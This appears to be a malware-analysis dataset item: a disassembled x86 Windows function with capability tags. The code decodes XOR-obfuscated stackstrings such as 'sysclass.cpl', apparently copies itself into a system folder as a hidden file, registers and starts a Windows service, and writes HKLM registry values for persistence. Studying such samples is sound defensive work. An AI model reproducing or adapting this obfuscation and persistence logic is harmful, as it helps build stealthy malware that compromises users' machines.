Function at 0x4014f0
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get program files directory
Parse pe header
Terminate process

Disassembly:
sub esp, 0xa64
push ebx
push ebp
push esi
push edi
call fcn.00402d40
call fcn.004013c0
test eax, eax
jne 0x4029c6
call fcn.004014d0
cmp eax, 0x64
jb 0x4029c6
xor ebx, ebx
push 0x68
push ebx
call dword [0x403c00]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0x4ec]
mov byte [esp + 0x4e4], 0x41
mov byte [esp + 0x4e5], 0x76
mov byte [esp + 0x4e6], 0x74
mov byte [esp + 0x4e7], 0x2d
mov byte [esp + 0x4e8], 0x4e
mov byte [esp + 0x4e9], 0x65
mov byte [esp + 0x4ea], 0x74
mov byte [esp + 0x4eb], bl
mov byte [esp + 0x1c], 1
rep stosd dword es:[edi], eax
mov al, 0x58
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 2
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], bl
mov byte [esp + 0x18], 0x10
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], bl
mov byte [esp + 0x100], bl
mov byte [esp + 0x101], bl
mov byte [esp + 0x102], bl
mov byte [esp + 0x103], bl
mov byte [esp + 0x104], bl
mov byte [esp + 0x105], bl
mov byte [esp + 0x106], bl
mov byte [esp + 0x107], bl
mov byte [esp + 0x108], bl
mov byte [esp + 0x109], bl
mov byte [esp + 0x10a], bl
mov byte [esp + 0x10b], bl
mov byte [esp + 0x10c], 1
mov byte [esp + 0x10d], bl
mov byte [esp + 0x10e], bl
mov byte [esp + 0x10f], bl
mov byte [esp + 0x110], bl
mov byte [esp + 0x111], bl
mov byte [esp + 0x112], bl
mov byte [esp + 0x113], bl
mov byte [esp + 0x114], 2
mov byte [esp + 0x115], bl
mov byte [esp + 0x116], bl
mov byte [esp + 0x117], bl
mov byte [esp + 0x118], 0x60
mov byte [esp + 0x119], 0xea
mov byte [esp + 0x11a], bl
mov byte [esp + 0x11b], bl
mov byte [esp + 0x11c], 0x60
mov byte [esp + 0x11d], 0x1d
mov byte [esp + 0x11e], 0x44
mov byte [esp + 0x11f], 0x41
mov byte [esp + 0x120], al
mov byte [esp + 0x121], 0x48
mov byte [esp + 0x122], 0x17
mov byte [esp + 0x123], 0x57
mov byte [esp + 0x124], 0xb
mov byte [esp + 0x125], 0x10
mov byte [esp + 0x126], 0x47
mov byte [esp + 0x127], 0x59
mov byte [esp + 0x128], 0x48
mov byte [esp + 0x129], 0x41
mov byte [esp + 0x12a], 0x41
mov byte [esp + 0x12b], 0x1d
mov byte [esp + 0x12c], 0x42
mov byte [esp + 0x12d], 0x5a
mov byte [esp + 0x12e], 0x50
mov byte [esp + 0x12f], 0x41
mov byte [esp + 0x130], 0x41
mov byte [esp + 0x131], 0x5c
mov cl, 0x51
mov dl, 0x12
mov byte [esp + 0x132], 0xd
mov byte [esp + 0x133], 0x5d
mov byte [esp + 0x134], cl
mov byte [esp + 0x135], 0x54
mov byte [esp + 0x136], 0x5f
mov byte [esp + 0x137], 0x41
mov byte [esp + 0x138], 0x5d
mov byte [esp + 0x139], 0x1e
mov byte [esp + 0x13a], 0x10
mov byte [esp + 0x13b], 0x52
mov byte [esp + 0x13c], 0x5f
mov byte [esp + 0x13d], 0x54
mov byte [esp + 0x13e], 0x41
mov byte [esp + 0x13f], 0x42
mov byte [esp + 0x140], 0x17
mov byte [esp + 0x141], 0x42
mov byte [esp + 0x142], 0x47
mov byte [esp + 0x143], 0x50
mov byte [esp + 0x144], 0x4f
mov byte [esp + 0x145], 0xd
mov byte [esp + 0x146], 0x57
mov byte [esp + 0x147], al
mov byte [esp + 0x148], 0x63
mov byte [esp + 0x149], 0x5c
mov byte [esp + 0x14a], 0x44
mov byte [esp + 0x14b], 0x43
mov byte [esp + 0x14c], 5
mov byte [esp + 0x14d], dl
mov byte [esp + 0x14e], 8
mov byte [esp + 0x14f], 0x5c
mov byte [esp + 0x150], 0x52
mov byte [esp + 0x151], 0x48
mov byte [esp + 0x152], 0x48
mov byte [esp + 0x153], 0x13
mov byte [esp + 0x154], dl
mov byte [esp + 0x155], 0x1b
mov byte [esp + 0x156], 0x5f
mov byte [esp + 0x157], 0x5d
mov byte [esp + 0x158], 0x5f
mov byte [esp + 0x159], 0x48
mov byte [esp + 0x15a], 2
mov byte [esp + 0x15b], 0x46
mov byte [esp + 0x15c], 0x1d
mov byte [esp + 0x15d], 0x54
mov byte [esp + 0x15e], 0x13
mov byte [esp + 0x15f], 0x45
mov byte [esp + 0x160], 0x42
mov byte [esp + 0x161], 0x41
mov byte [esp + 0x162], 0x46
mov byte [esp + 0x163], 0x10
mov byte [esp + 0x164], 0x59
mov byte [esp + 0x165], 0x40
mov byte [esp + 0x166], 0x11
mov byte [esp + 0x167], 0x4e
mov byte [esp + 0x168], 0xe
mov byte [esp + 0x169], 0x5f
mov byte [esp + 0x16a], 8
mov byte [esp + 0x16b], 0x45
mov byte [esp + 0x16c], 0x47
mov byte [esp + 0x16d], 0x54
mov byte [esp + 0x16e], 0x5f
mov byte [esp + 0x16f], 0x4f
mov byte [esp + 0x170], dl
mov byte [esp + 0x171], 0x31
mov byte [esp + 0x172], 0x56
mov byte [esp + 0x173], 0x13
mov byte [esp + 0x174], 0x45
mov byte [esp + 0x175], 0x45
mov byte [esp + 0x176], 8
mov byte [esp + 0x177], 0x41
mov byte [esp + 0x178], al
mov byte [esp + 0x179], 0x43
mov byte [esp + 0x17a], 0x56
mov byte [esp + 0x17b], 0x43
mov byte [esp + 0x17c], 0x5b
mov byte [esp + 0x17d], 8
mov byte [esp + 0x17e], cl
mov byte [esp + 0x17f], 0x1d
mov byte [esp + 0x180], 0x10
mov byte [esp + 0x181], 0x5a
mov byte [esp + 0x182], 0x42
mov byte [esp + 0x183], 0xd
mov byte [esp + 0x184], dl
mov byte [esp + 0x185], 0x46
mov byte [esp + 0x186], 0x17
mov byte [esp + 0x187], 0x40
mov byte [esp + 0x188], 0x43
mov byte [esp + 0x189], 0x54
mov byte [esp + 0x18a], 0x49
mov byte [esp + 0x18b], 0x4d
mov byte [esp + 0x18c], dl
mov byte [esp + 0x18d], 0x19
mov byte [esp + 0x18e], 0x5e
mov byte [esp + 0x18f], 0x4a
mov byte [esp + 0x190], 0x11
mov byte [esp + 0x191], 0x5e
mov byte [esp + 0x192], 4
mov byte [esp + 0x193], 0x40
mov byte [esp + 0x194], 0xe
mov byte [esp + 0x195], 0x59
mov byte [esp + 0x196], 0x50
mov byte [esp + 0x197], 0x54
mov byte [esp + 0x198], 0x5e
mov byte [esp + 0x199], 0x41
mov byte [esp + 0x19a], 0x46
mov byte [esp + 0x19b], 0x10
mov byte [esp + 0x19c], cl
mov byte [esp + 0x19d], 0x47
mov byte [esp + 0x19e], 0x11
mov byte [esp + 0x19f], 0x48
mov byte [esp + 0x1a0], 0x19
mov byte [esp + 0x1a1], 0x42
mov byte [esp + 0x1a2], 0x14
mov byte [esp + 0x1a3], 0x59
mov byte [esp + 0x1a4], 0x50
mov byte [esp + 0x1a5], al
mov byte [esp + 0x1a6], 0x59
mov byte [esp + 0x1a7], 0xd
mov byte [esp + 0x1a8], 0x4b
mov byte [esp + 0x1a9], al
mov byte [esp + 0x1aa], 0x54
mov byte [esp + 0x1ab], 0x56
mov byte [esp + 0x1ac], 0x41
mov byte [esp + 0x1ad], 0x48
mov byte [esp + 0x1ae], 0xf
mov byte [esp + 0x1af], 0x56
mov byte [esp + 0x1b0], al
mov byte [esp + 0x1b1], 0x5f
mov byte [esp + 0x1b2], 0x5d
mov byte [esp + 0x1b3], 0x11
mov byte [esp + 0x1b4], 0x44
mov byte [esp + 0x1b5], 0x15
mov byte [esp + 0x1b6], dl
mov byte [esp + 0x1b7], 0xf
mov byte [esp + 0x1b8], 0x59
mov byte [esp + 0x1b9], 0x5f
mov byte [esp + 0x1ba], 0x5d
mov byte [esp + 0x1bb], 0xd
mov byte [esp + 0x1bc], 7
mov byte [esp + 0x1bd], 0x53
mov byte [esp + 0x1be], 0x11
mov byte [esp + 0x1bf], 0x5c
mov byte [esp + 0x1c0], 0x13
mov byte [esp + 0x1c1], 0x45
mov byte [esp + 0x1c2], 0x42
mov byte [esp + 0x1c3], 0x41
mov byte [esp + 0x1c4], 0x41
mov byte [esp + 0x1c5], 0xc
mov byte [esp + 0x1c6], cl
mov byte [esp + 0x1c7], 0x41
mov byte [esp + 0x1c8], 0x45
mov byte [esp + 0x1c9], 3
mov byte [esp + 0x1ca], 0x61
mov byte [esp + 0x3c], 0x62
mov byte [esp + 0x3d], 0x17
mov byte [esp + 0x3e], 0x42
mov byte [esp + 0x3f], 0x47
mov byte [esp + 0x40], 0x50
mov byte [esp + 0x41], 0x4f
mov byte [esp + 0x42], 0xd
mov cl, 0x55
mov byte [esp + 0x43], 0x57
mov byte [esp + 0x4c], cl
mov byte [esp + 0x5a], cl
mov ecx, dword [0x40118c]
mov byte [esp + 0x44], al
mov dword [esp + 0x1cc], ecx
mov ecx, dword [0x401190]
mov dword [esp + 0x1d0], ecx
mov ecx, dword [0x401194]
mov dword [esp + 0x1d4], ecx
mov ecx, dword [0x401198]
mov dword [esp + 0x1d8], ecx
mov cx, word [0x40119c]
mov word [esp + 0x1dc], cx
mov cl, byte [0x40119e]
mov byte [esp + 0x45], 0x63
mov byte [esp + 0x46], 0x5c
mov byte [esp + 0x47], 0x44
mov byte [esp + 0x48], 0x43
mov byte [esp + 0x49], 5
mov byte [esp + 0x4a], dl
mov byte [esp + 0x4b], 0x2b
mov byte [esp + 0x4d], 0x41
mov byte [esp + 0x4e], al
mov byte [esp + 0x4f], 0x4c
mov byte [esp + 0x50], 0xd
mov byte [esp + 0x51], dl
mov byte [esp + 0x52], 0x36
mov byte [esp + 0x53], 0x45
mov byte [esp + 0x54], 0x5e
mov byte [esp + 0x55], 0x53
mov byte [esp + 0x56], 0x48
mov byte [esp + 0x57], 0x13
mov byte [esp + 0x58], dl
mov byte [esp + 0x59], 0x2b
mov byte [esp + 0x5b], 0x41
mov byte [esp + 0x5c], 0x47
mov byte [esp + 0x5d], 0x44
mov byte [esp + 0x5e], 2
mov byte [esp + 0x5f], 0x57
mov byte [esp + 0x60], 0xb
mov byte [esp + 0x61], 0x30
mov byte [esp + 0x1de], cl
mov byte [esp + 0x1e0], 0x17
mov byte [esp + 0x1e1], 0x2b
mov byte [esp + 0x1e2], 0x49
mov byte [esp + 0x1e3], 0x40
mov byte [esp + 0x1e4], 0x45
mov byte [esp + 0x1e5], 0x48
mov byte [esp + 0x1e6], 0xc
mov byte [esp + 0x1e7], 0x60
mov byte [esp + 0x1e8], 0x17
mov byte [esp + 0x1e9], 0x5f
mov byte [esp + 0x1ea], 0x47
mov byte [esp + 0x1eb], 0x14
mov byte [esp + 0x1ec], 0x71
mov byte [esp + 0x1ed], dl
mov byte [esp + 0x1ee], 0x4b
mov byte [esp + 0x1ef], 0xb
mov byte [esp + 0x1f0], 0x44
mov byte [esp + 0x1f1], 0x56
mov byte [esp + 0x1f2], 0x5c
mov byte [esp + 0x1f3], 0x1e
mov byte [esp + 0x1f4], 0x53
mov byte [esp + 0x1f5], 0x6e
mov byte [esp + 0x1f6], 0xb
mov byte [esp + 0x1f7], 0x46
mov byte [esp + 0x1f8], 0x50
mov byte [esp + 0x1f9], 0x59
mov byte [esp + 0x1fa], 0x42
mov byte [esp + 0x1fb], dl
mov byte [esp + 0x1fc], 0x46
mov byte [esp + 0x1fd], al
mov byte [esp + 0x1fe], 0x1d
mov byte [esp + 0x1ff], al
mov byte [esp + 0x200], 0x11
mov byte [esp + 0x201], 0x6c
mov byte [esp + 0x202], 0x17
mov byte [esp + 0x203], 0x46
mov byte [esp + 0x204], 0x55
mov ecx, 0x35
xor eax, eax
lea edi, [esp + 0x209]
mov byte [esp + 0x205], 0x7e
mov byte [esp + 0x206], 0x56
mov byte [esp + 0x207], 0x45
mov byte [esp + 0x208], 0x2d
mov byte [esp + 0x2e0], 0x17
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x37
xor eax, eax
lea edi, [esp + 0x303]
mov byte [esp + 0x2e1], 0x2b
mov byte [esp + 0x2e2], 0x49
mov byte [esp + 0x2e3], 0x40
mov byte [esp + 0x2e4], 0x45
mov byte [esp + 0x2e5], 0x48
mov byte [esp + 0x2e6], 0xc
mov byte [esp + 0x2e7], 0x60
mov byte [esp + 0x2e8], 0x17
mov byte [esp + 0x2e9], 0x5f
mov byte [esp + 0x2ea], 0x47
mov byte [esp + 0x2eb], 0x14
mov byte [esp + 0x2ec], 0x71
mov byte [esp + 0x2ed], dl
mov edx, dword [0x4010e0]
mov byte [esp + 0x2ee], 0x4b
mov byte [esp + 0x2ef], 0xb
mov byte [esp + 0x2f0], 0x44
mov byte [esp + 0x2f1], 0x56
mov byte [esp + 0x2f2], 0x5c
mov byte [esp + 0x2f3], 0x1e
mov byte [esp + 0x2f4], 0x53
mov byte [esp + 0x2f5], 0x6e
mov byte [esp + 0x2f6], 0xb
mov byte [esp + 0x2f7], 0x46
mov byte [esp + 0x2f8], 0x50
mov byte [esp + 0x2f9], 0x5f
mov byte [esp + 0x2fa], 0x48
mov byte [esp + 0x2fb], 0x15
mov byte [esp + 0x2fc], 1
mov byte [esp + 0x2fd], 0x4a
mov byte [esp + 0x2fe], 0x1e
mov byte [esp + 0x2ff], 0x57
mov byte [esp + 0x300], 0x5d
mov byte [esp + 0x301], 0x41
mov byte [esp + 0x302], 0x61
rep stosd dword es:[edi], eax
mov dword [esp + 0x34], edx
push 7
lea ecx, [esp + 0x38]
push 0xae
stosb byte es:[edi], al
mov eax, dword [0x4010e4]
lea edx, [esp + 0x124]
push ecx
push edx
mov dword [esp + 0x48], eax
call fcn.00401380
push 7
lea eax, [esp + 0x48]
push 0x25
lea ecx, [esp + 0x54]
push eax
push ecx
call fcn.00401380
push 7
lea edx, [esp + 0x58]
push 0xff
lea eax, [esp + 0x208]
push edx
push eax
call fcn.00401380
push 7
lea ecx, [esp + 0x68]
push 0xff
lea edx, [esp + 0x318]
push ecx
push edx
call fcn.00401380
add esp, 0x40
lea eax, [esp + 0x3e0]
push 0x104
push eax
push ebx
call dword [0x403c34]
lea edi, [esp + 0x3e0]
or ecx, 0xffffffff
xor eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x72c]
mov edi, ecx
lea ecx, [esp + 0x3e0]
push ecx
push edx
call esi
lea eax, [esp + 0x3e0]
lea ecx, [esp + 0x628]
push eax
push ecx
mov byte [esp + edi + 0x3e4], bl
call esi
lea edx, [esp + 0x934]
lea eax, [esp + 0x628]
xor ebp, ebp
push edx
push eax
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4020d3
test byte [esp + 0x934], 0x10
je 0x40206f
mov dword [esp + 0x14], 1
mov ebp, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp ebp, ebx
je 0x4020d3
lea ecx, [esp + 0x830]
push 0x401180
push ecx
call esi
lea edx, [esp + 0x3e0]
lea eax, [esp + 0x830]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x830]
push 5
push ecx
call dword [0x403c20]
lea edx, [esp + 0x3e0]
push edx
call dword [0x403c10]
cmp eax, 0xffffffff
je 0x4020d3
or al, 6
push eax
lea eax, [esp + 0x3e4]
push eax
call dword [0x403c0c]
push ebx
lea ecx, [esp + 0x3e4]
push 0x26
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edx, [esp + 0x3e0]
lea eax, [esp + 0x72c]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x4021a2
cmp ebp, ebx
jne 0x4021a2
lea ecx, [esp + 0x3e0]
lea edx, [esp + 0x628]
push ecx
push 0x401170
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x628]
lea ecx, [esp + 0x72c]
push ebx
push eax
push ecx
call dword [0x403c1c]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x5e4]
xor edx, edx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x24]
lea ecx, [esp + 0x5e4]
mov dword [esp + 0x24], edx
push eax
push ecx
mov dword [esp + 0x30], edx
push ebx
push ebx
mov dword [esp + 0x3c], edx
push ebx
push 1
mov dword [esp + 0x48], edx
push ebx
push ebx
lea edx, [esp + 0x648]
push ebx
push edx
call dword [fcn.00403c18]
push 0x64
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, ebx
je 0x4021a2
call fcn.00402bd0
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
lea edi, [esp + 0x24]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x24], 0x5c
mov byte [esp + 0x25], 0x73
mov byte [esp + 0x26], 0x79
mov byte [esp + 0x27], 0x73
mov byte [esp + 0x28], 0x6c
mov byte [esp + 0x29], 0x61
mov byte [esp + 0x2a], 0x73
mov byte [esp + 0x2b], 0x73
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x63
mov byte [esp + 0x2e], 0x70
mov byte [esp + 0x2f], 0x6c
mov byte [esp + 0x30], bl
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x3e0]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x3e0]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
push eax
call dword [0x403c0c]
lea ecx, [esp + 0x3e0]
push ebx
lea edx, [esp + 0x730]
push ecx
push edx
call dword [0x403c1c]
lea eax, [esp + 0x3e0]
push 7
push eax
call dword [0x403c0c]
cmp ebp, ebx
jne 0x402260
lea ecx, [esp + 0x72c]
push 2
push ecx
call dword [0x403c0c]
push 0xf003f
push ebx
push ebx
call dword [0x401340]
mov esi, eax
cmp esi, ebx
je 0x4022b1
push ebx
push ebx
push ebx
push ebx
lea edx, [esp + 0x1f0]
push ebx
push edx
push 1
push 2
push 0x20
lea eax, [esp + 0x60]
push 0xf01ff
lea ecx, [esp + 0x50c]
push eax
push ecx
push esi
call dword [0x40133c]
cmp eax, ebx
je 0x4022aa
push eax
call dword [0x401338]
push esi
call dword [0x401338]
mov al, 0x66
push 7
mov byte [esp + 0x98], al
mov byte [esp + 0xb0], al
mov byte [esp + 0xb9], al
lea edx, [esp + 0x38]
push 0x34
lea eax, [esp + 0x98]
mov cl, 0x24
push edx
push eax
mov byte [esp + 0xa0], 0x61
mov byte [esp + 0xa1], 0x37
mov byte [esp + 0xa2], 0x76
mov byte [esp + 0xa3], 0x67
mov byte [esp + 0xa5], 0x6c
mov byte [esp + 0xa6], 0x33
mov byte [esp + 0xa7], 0x77
mov byte [esp + 0xa8], cl
mov byte [esp + 0xa9], 0x7d
mov byte [esp + 0xaa], 0x5a
mov byte [esp + 0xab], 0x52
mov byte [esp + 0xac], 0x5f
mov byte [esp + 0xad], 0xe
mov byte [esp + 0xae], 0x41
mov byte [esp + 0xaf], 0x17
mov byte [esp + 0xb0], 0x56
mov byte [esp + 0xb1], 0x47
mov byte [esp + 0xb2], 0x6d
mov byte [esp + 0xb3], 0x7a
mov byte [esp + 0xb4], 8
mov byte [esp + 0xb5], 0x5c
mov byte [esp + 0xb6], 0x1c
mov byte [esp + 0xb7], 0x5f
mov byte [esp + 0xb8], 0x44
mov byte [esp + 0xb9], 0x42
mov byte [esp + 0xba], 0xd
mov byte [esp + 0xbb], 0x2f
mov byte [esp + 0xbd], cl
mov byte [esp + 0xbe], 0x73
mov byte [esp + 0xbf], 0x46
mov byte [esp + 0xc0], 0x43
mov byte [esp + 0xc1], 0x5f
mov byte [esp + 0xc2], 4
mov byte [esp + 0xc3], 0x5c
mov byte [esp + 0xc4], 0xc
mov byte [esp + 0xc6], 0x56
mov byte [esp + 0xc7], 0x43
mov byte [esp + 0xc8], 0x5e
mov byte [esp + 0xc9], 8
mov byte [esp + 0xca], 0x5d
mov byte [esp + 0xcb], 0x16
mov byte [esp + 0xcc], 0x6c
mov byte [esp + 0xcd], 0x60
mov byte [esp + 0xce], 0x47
mov byte [esp + 0xcf], 0x4e
mov byte [esp + 0xd0], 9
mov byte [esp + 0xd1], 0x5d
mov byte [esp + 0xd2], 0xb
mov byte [esp + 0xd3], 0x44
mov byte [esp + 0xd4], 0x33
call fcn.00401380
add esp, 0x10
lea ecx, [esp + 0x10]
lea edx, [esp + 0x90]
push ecx
push 0xf003f
push ebx
push edx
push 0x80000002
call dword [fcn.00401324]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x4e4]
push eax
call edi
lea ecx, [esp + 0x4e4]
push eax
push ecx
push 7
push ebx
push 0x401168
mov edx, dword [esp + 0x24]
mov esi, dword [0x401334]
push edx
call esi
mov ebp, dword [fcn.00401320]
mov eax, dword [esp + 0x10]
push eax
call ebp
push 7
lea ecx, [esp + 0x38]
push 0x29
lea edx, [esp + 0x6c]
push ecx
push edx
mov byte [esp + 0x74], 0x61
mov byte [esp + 0x75], 0x21
mov byte [esp + 0x76], 0x63
mov byte [esp + 0x77], 0x67
mov byte [esp + 0x78], 0x74
mov byte [esp + 0x79], 0x60
mov byte [esp + 0x7a], 0x3d
mov byte [esp + 0x7b], 0x71
mov byte [esp + 0x7c], 0xd
mov byte [esp + 0x7d], 0x42
mov byte [esp + 0x7e], 0x41
mov byte [esp + 0x7f], 0x54
mov byte [esp + 0x80], 0x43
mov byte [esp + 0x81], 0x15
mov byte [esp + 0x82], 0x71
mov byte [esp + 0x83], 0x17
mov byte [esp + 0x84], 0x5e
mov byte [esp + 0x85], 0x47
mov byte [esp + 0x86], 0x43
mov byte [esp + 0x87], 0x42
mov byte [esp + 0x88], 0xd
mov byte [esp + 0x89], 0x61
mov byte [esp + 0x8a], 0x1d
mov byte [esp + 0x8b], 0x44
mov byte [esp + 0x8c], 0x6f
mov byte [esp + 0x8d], 0x62
mov byte [esp + 0x8e], 0x48
mov byte [esp + 0x8f], 0x13
mov byte [esp + 0x90], 0x44
mov byte [esp + 0x91], 0x11
mov byte [esp + 0x92], 0x53
mov byte [esp + 0x93], 0x56
mov byte [esp + 0x94], 0x42
mov byte [esp + 0x95], 0x71
mov byte [esp + 0x96], 0x20
mov byte [esp + 0x97], 0x44
mov byte [esp + 0x98], 0xc
mov byte [esp + 0x99], 0x1d
mov byte [esp + 0x9a], 0x7d
mov byte [esp + 0x9b], 0x54
mov byte [esp + 0x9c], 0x59
mov byte [esp + 0x9d], 0x61
call fcn.00401380
add esp, 0x10
lea eax, [esp + 0x10]
lea ecx, [esp + 0x64]
push eax
push ecx
push 0x80000002
call dword [0x401330]
lea edx, [esp + 0x11c]
push edx
call edi
push eax
lea eax, [esp + 0x120]
mov ecx, dword [esp + 0x14]
push eax
push 1
push ebx
push 0x40115c
push ecx
call esi
lea edx, [esp + 0x3c]
push edx
call edi
push eax
lea eax, [esp + 0x40]
mov ecx, dword [esp + 0x14]
push eax
push 1
push ebx
push 0x401150
push ecx
call esi
lea edx, [esp + 0x1c]
push 4
mov eax, dword [esp + 0x14]
push edx
push 4
push ebx
push 0x401140
push eax
call esi
lea ecx, [esp + 0x1cc]
push ecx
call edi
lea edx, [esp + 0x1cc]
push eax
mov eax, dword [esp + 0x14]
push edx
push 1
push ebx
push 0x401138
push eax
call esi
push 0x40112c
call edi
push eax
push 0x40112c
mov ecx, dword [esp + 0x18]
push 1
push ebx
push 0x401120
push ecx
call esi
lea edx, [esp + 0x20]
push 4
mov eax, dword [esp + 0x14]
push edx
push 4
push ebx
push 0x401118
push eax
call esi
lea ecx, [esp + 0x18]
push 4
mov edx, dword [esp + 0x14]
push ecx
push 4
push ebx
push 0x401110
push edx
call esi
lea eax, [esp + 0x100]
push 0x1c
mov ecx, dword [esp + 0x14]
push eax
push 3
push ebx
push 0x401100
push ecx
call esi
lea edx, [esp + 0x1e0]
push edx
call edi
push eax
lea eax, [esp + 0x1e4]
mov ecx, dword [esp + 0x14]
push eax
push 2
push ebx
push 0x4010f4
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call ebp
mov byte [esp + 0xc8], 0x61
push 7
lea eax, [esp + 0x38]
push 0x34
lea ecx, [esp + 0xd0]
push eax
push ecx
mov byte [esp + 0xd9], 0x21
mov byte [esp + 0xda], 0x63
mov byte [esp + 0xdb], 0x67
mov byte [esp + 0xdc], 0x74
mov byte [esp + 0xdd], 0x60
mov byte [esp + 0xde], 0x3d
mov byte [esp + 0xdf], 0x71
mov byte [esp + 0xe0], 0xd
mov byte [esp + 0xe1], 0x42
mov byte [esp + 0xe2], 0x41
mov byte [esp + 0xe3], 0x54
mov byte [esp + 0xe4], 0x43
mov byte [esp + 0xe5], 0x15
mov byte [esp + 0xe6], 0x71
mov byte [esp + 0xe7], 0x17
mov byte [esp + 0xe8], 0x5e
mov byte [esp + 0xe9], 0x47
mov byte [esp + 0xea], 0x43
mov byte [esp + 0xeb], 0x42
mov byte [esp + 0xec], 0xd
mov byte [esp + 0xed], 0x61
mov byte [esp + 0xee], 0x1d
mov byte [esp + 0xef], 0x44
mov byte [esp + 0xf0], 0x6f
mov byte [esp + 0xf1], 0x62
mov byte [esp + 0xf2], 0x48
mov byte [esp + 0xf3], 0x13
mov byte [esp + 0xf4], 0x44
mov byte [esp + 0xf5], 0x11
mov byte [esp + 0xf6], 0x53
mov byte [esp + 0xf7], 0x56
mov byte [esp + 0xf8], 0x42
mov byte [esp + 0xf9], 0x71
mov byte [esp + 0xfa], 0x20
mov byte [esp + 0xfb], 0x44
mov byte [esp + 0xfc], 0xc
mov byte [esp + 0xfd], 0x1d
mov byte [esp + 0xfe], 0x7d
mov byte [esp + 0xff], 0x54
mov byte [esp + 0x100], 0x59
mov byte [esp + 0x101], 0x3d
mov byte [esp + 0x102], 0x62
mov byte [esp + 0x103], 0x19
mov byte [esp + 0x104], 0x42
mov byte [esp + 0x105], 0x52
mov byte [esp + 0x106], 0x5c
mov byte [esp + 0x107], 0x48
mov byte [esp + 0x108], 0x15
mov byte [esp + 0x109], 0x57
mov byte [esp + 0x10a], 0xa
mov byte [esp + 0x10b], 0x43
mov byte [esp + 0x10c], 0x33
call fcn.00401380
add esp, 0x10
lea edx, [esp + 0x10]
lea eax, [esp + 0xc8]
push edx
push eax
push 0x80000002
call dword [0x401330]
lea ecx, [esp + 0x2e0]
push ecx
call edi
lea edx, [esp + 0x2e0]
push eax
mov eax, dword [esp + 0x14]
push edx
push 2
push ebx
push 0x4010e8
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebp
call fcn.004029e0
call fcn.00402e20
push 0xf003f
push ebx
push ebx
call dword [0x401340]
lea edx, [esp + 0x4e4]
mov edi, eax
push 0xf01ff
push edx
push edi
call dword [0x40132c]
mov esi, eax
cmp esi, ebx
jne 0x402973
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x14], ebx
jne 0x40296c
call fcn.00402bd0
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
push ebx
push ebx
push esi
call dword [0x401328]
test eax, eax
jne 0x40299d
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x14], ebx
jne 0x402996
call fcn.00402bd0
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
push esi
mov esi, dword [0x401338]
call esi
push edi
call esi
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x14], ebx
jne 0x4029bf
call fcn.00402bd0
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0xa64
ret 0x10